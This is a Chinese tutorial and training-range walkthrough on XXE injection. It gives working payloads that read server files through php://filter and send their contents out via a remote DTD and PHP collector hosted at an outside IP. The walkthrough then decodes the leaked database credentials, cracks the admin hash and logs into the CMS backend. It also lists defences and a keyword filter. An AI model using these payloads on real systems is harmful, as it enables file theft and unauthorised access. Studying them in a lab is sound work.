XXE实体注入

举报
xcc-2022 发表于 2022/12/31 08:33:44 2022/12/31
【摘要】 知识梳理1. 什么XXE?XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击,简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害2. 什么是XMLXML由3个部分构成,它们分别是:文档类型...

知识梳理

1. 什么XXE?

XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击,简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害

2. 什么是XML

XML由3个部分构成,它们分别是:

  • 文档类型定义(Document Type Definition,DTD),即XML的布局语言;
  • 可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
  • 可扩展链接语言(Extensible Link Language,XLL)

XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。
它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。
可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计
它被设计用来传输和存储数据,其焦点是数据的内容。
超文本标记语言被设计用来显示数据,其焦点是数据的外观

XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)
XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
说白了这玩意就是个储存数据的

3. XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE  文件名 [
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其他元素
</元素名称>
<!-- ⬆文档元素⬆ -->

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

    1. 内部声明DTD
<!ENTITY 实体名称 "实体的值">
例子
DTD:
<!ENTITY writer "me">
XML:
<author>&writer;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

    1. 引用外部DTD
<!ENTITY 实体名称 SYSTEM "URI/URL">
或
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
例子
DTD:
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
XML:
<author>&writer;</author>

外部实体类型有




4. XEE攻击流程

  • 判断是否存在XXE漏洞
    遇到传参的地方出现了XML代码格式的东西,传参一些XML代码去尝试看看传参后是否有报错,页面是否显示了实体中的东西。
  • 通过外部实体声明将目标服务器文件中的内容,转码当做值发送至自己所构建的1.xml文件中
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/xxe/1.xml">
%remote;
%send;
]>
  • 1.XML将接收的内容以GET传参的方式发送给2.php
<?xml version=”1.0”?>
<!DOCTYPE ANY[
<!ENTITY % all
“<!ENTITY % send SYSTEM ‘“
>
%all;
]>
  • 2.php获取参数利用file_put_contents函数,将接收的内容输出到3.txt
<?php file_put_contents(“3.txt”,$_GET[“id”],FILE_APPEND);?>

5. 防御方法

    1. 使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    1. 过滤用户提交的xml数据
关键字:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

链接:https://www.cnblogs.com/backlion/p/9302528.html


靶场地址

http://59.63.200.79:8207

XXE攻击平台

http://59.63.200.79:8017/1.xml
http://59.63.200.79:8017/2.php
http://59.63.200.79:8017/3.txt

  • 查看靶场,发现是使用CMS搭建的网页,下载源码进行代码审计;



image

发现/weixin/index.php内含有simplexml_load_string函数,切未经过滤可能存在XXE漏洞


  • 构建url链接,进行传参测试

CMS源码中$signature参数不等于空时,进入判断语句,传入传参?signature=123,在放入xml攻击语句

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/1.txt">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml"> 
%remote;
%send; 
]>

image

页面报错,显示绝对路径

  • 根据绝对路径修改XML攻击语句,读取熟即可配置文件

优化xml攻击语句

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.phpt">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

image
  • 进行base64解码,获取数据库连接信息

image
PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==
<?php
error_reporting(E_ALL ^ E_NOTICE); 
header("content-type:text/html;charset=utf-8");
session_start();
$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");
mysqli_query($conn,'set names utf8');
date_default_timezone_set("PRC");
  • 通过在线数据库管理工具连接数据库

根据cms源码猜测连接数据库页面

http://59.63.200.79:8207/adminer.php



image

得到加密密码
e99d2e51cbefe75251f1d40821e07a32
进行MD5解码,得到admintestv1


  • 尝试登陆后台

image

SL_config 表内发现邮箱地址,进行修改


image


image

image

成功登陆后台



作者:虚晃一枪骗过上帝
链接:https://www.jianshu.com/p/8bfeb2f366ce
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。